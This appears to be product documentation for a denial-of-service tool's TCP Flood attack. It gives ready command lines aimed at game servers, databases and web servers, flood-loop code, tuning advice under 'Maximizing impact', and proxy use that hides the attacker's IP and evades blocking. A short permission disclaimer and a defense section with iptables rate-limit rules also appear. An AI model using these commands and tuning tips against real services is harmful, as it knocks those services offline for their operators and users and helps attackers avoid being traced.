Skip to main content

​
Overview

TCP Flood is a Layer 4 (transport layer) denial of service attack that floods a target with TCP connections and random data packets. Unlike HTTP attacks that target application logic, TCP Flood attacks the network layer by exhausting connection tables, bandwidth, and firewall resources.
This attack operates at the TCP level and works against any TCP service, not just HTTP servers.

​
How it works

The TCP Flood attack executes the following sequence:
  1. Connection Establishment: Opens TCP connection to target host:port
  2. Random Payload Generation: Creates buffer of cryptographically random bytes
  3. Initial Burst: Sends first payload packet with 2-second write deadline
  4. Additional Bursts: Sends 1-4 additional random payloads in rapid succession
  5. Connection Close: Closes connection immediately after bursts
  6. Repeat: Each thread continuously opens new connections

​
Attack pattern

​
When to use

TCP Flood is effective for:
  • Firewall stress testing: Test firewall’s connection tracking capacity
  • Load balancer testing: Verify load balancer handles connection churn
  • Network infrastructure testing: Stress test routers, switches, and network appliances
  • Non-HTTP services: Attack game servers, databases, or any TCP service
  • Connection table exhaustion: Fill up server’s connection tracking table
  • Bandwidth saturation: Consume upstream/downstream bandwidth
This attack generates significant network traffic and can affect network infrastructure. Only use on networks you own or have permission to test.

​
Usage

Basic TCP Flood attack: 
mmb attack tcp_flood tcp://example.com:80
Attacking a game server: 
mmb attack tcp_flood tcp://gameserver.example.com:27015 \
  --duration 60 \
  --delay 100 \
  --packet-size 1024 \
  --threads 32
High-intensity attack: 
mmb attack tcp_flood tcp://target.example.com:443 \
  --duration 300 \
  --delay 50 \
  --packet-size 2048 \
  --threads 64 \
  --verbose

​
Parameters

​
target
string
required
Target in format tcp://hostname:port or hostname:port. Protocol can be omitted.
​
--duration
int
default:"60"
Attack duration in seconds
​
--delay
int
default:"500"
Delay between connection attempts in milliseconds per thread
​
--packet-size
int
default:"512"
Size of random payload per burst. Defaults to 512 bytes if not specified or ≤ 0.
​
--threads
int
default:"0"
Number of concurrent attack threads (0 = number of CPU cores)
​
--verbose
boolean
default:"false"
Show detailed logs for each connection attempt
​
--no-proxy
boolean
default:"false"
Allow running without proxies (exposes your IP)

​
Expected behavior

​
Console output

Standard mode: 
Starting tcp_flood against tcp://example.com:80 with 75 proxies
22:45:10 PPS:234 Total:234 Proxies:75
22:45:11 PPS:289 Total:523 Proxies:75
22:45:12 PPS:267 Total:790 Proxies:75
Verbose mode: 
Starting tcp_flood against tcp://example.com:80 with 75 proxies
Verbose mode enabled - showing detailed attack logs
22:45:10 PPS:234 Total:234 Proxies:75 [SOCKS5 proxy.example.net:1080 -> tcp://example.com:80]
22:45:11 PPS:289 Total:523 Proxies:75 [SOCKS5 proxy2.example.net:1080 -> tcp://example.com:80]

​
Network behavior

  • Connection lifecycle: Connect → Send bursts → Close (short-lived)
  • Payload randomness: Uses crypto/rand for unpredictable data
  • Burst count: 1-4 additional bursts per connection (random)
  • Write timeout: 2 seconds per send operation
  • Total data sent: packet-size * (1 + burst_count) bytes per connection

​
Technical implementation

Implementation details from internal/attacks/tcp/flood.go:17-55:
  • Dialer: Uses DialedTCPClient from internal/netutil
  • Randomness: Cryptographically secure random via crypto/rand
  • Error handling: Silently ignores connection and write errors
  • Burst calculation: min(3, 1 + randIntn(3)) = 1-4 bursts
  • Proxy support: Routes through SOCKS/HTTP proxies when available
  • Context awareness: Respects cancellation signals

​
Code flow

// 1. Parse target
host := tn.Hostname()
port := tn.PortNum()

// 2. Establish connection via proxy
conn, err := netutil.DialedTCPClient(ctx, "tcp", host, port, pptr)

// 3. Generate random payload
size := params.PacketSize
if size <= 0 {
    size = 512
}
buf := make([]byte, size)
rand.Read(buf)

// 4. Send bursts
conn.SetWriteDeadline(time.Now().Add(2 * time.Second))
conn.Write(buf)

bursts := minInt(3, 1+randIntn(3))
for i := 0; i < bursts; i++ {
    rand.Read(buf)
    conn.Write(buf)
}

// 5. Close
conn.Close()

​
Performance characteristics

  • Lower delay = more connections per second
  • More threads = higher aggregate connection rate
  • Larger packet-size = more bandwidth consumed per connection
  • More proxies = better distribution and harder to block
Example: 32 threads, 100ms delay, 1024-byte packets
  • Connections/sec: ~320 (32 threads × 10 conn/sec)
  • Bandwidth: ~1.3-1.6 MB/sec (accounting for bursts)
  • CPU: Low (mainly network I/O wait)
  • Memory: ~4KB per thread for buffers
  • Network: Depends on packet-size and delay
  • File descriptors: One per active connection (short-lived)
  • SOCKS5: Recommended for TCP proxying
  • HTTP CONNECT: Also supported
  • Proxy overhead: ~100-200ms additional latency
  • Proxy health: Failed proxies are silently skipped

​
Attack effectiveness factors

​
Target vulnerabilities

  • Servers without connection rate limiting
  • Services with small connection tables
  • Unoptimized firewalls/NAT devices
  • Bandwidth-constrained networks
  • Applications that process random data

​
Maximizing impact

1

Tune delay for optimal rate

Start with 500ms, reduce to 50-100ms for high-rate attacks.
2

Scale threads appropriately

Use 16-64 threads for most targets. Higher thread counts may saturate your own network.
3

Adjust packet size

  • Small (128-512 bytes): More connections, less bandwidth
  • Large (2048-4096 bytes): Fewer connections, more bandwidth
4

Use quality proxies

SOCKS5 proxies with low latency and high bandwidth are ideal.

​
Defense mechanisms

If you’re protecting against TCP Flood attacks:
  • SYN cookies: Enable at OS level to mitigate SYN floods
  • Connection rate limiting: Limit new connections per IP per second
  • Connection table tuning: Increase nf_conntrack_max on Linux
  • Firewall rules: Drop packets from known malicious sources
  • TCP timeout reduction: Lower tcp_fin_timeout to free resources faster
  • DDoS mitigation: Use services like Cloudflare, AWS Shield, or Arbor

​
Example iptables rules

# Limit new connections to 10/sec per IP
iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
  -m recent --set
iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
  -m recent --update --seconds 1 --hitcount 10 -j DROP

​
Target examples

​
HTTP/HTTPS servers

mmb attack tcp_flood tcp://webserver.example.com:443

​
Game servers

# Counter-Strike server
mmb attack tcp_flood tcp://csgo.example.com:27015

# Minecraft server  
mmb attack tcp_flood tcp://minecraft.example.com:25565

​
Database servers

# MySQL
mmb attack tcp_flood tcp://db.example.com:3306

# PostgreSQL
mmb attack tcp_flood tcp://db.example.com:5432

​
Custom services

# Any TCP service on any port
mmb attack tcp_flood tcp://api.example.com:8080

HTTP Flood

Layer 7 HTTP request flood

Minecraft Ping

Specialized Minecraft server attack

Build docs developers (and LLMs) love

Get started for freeTalk to us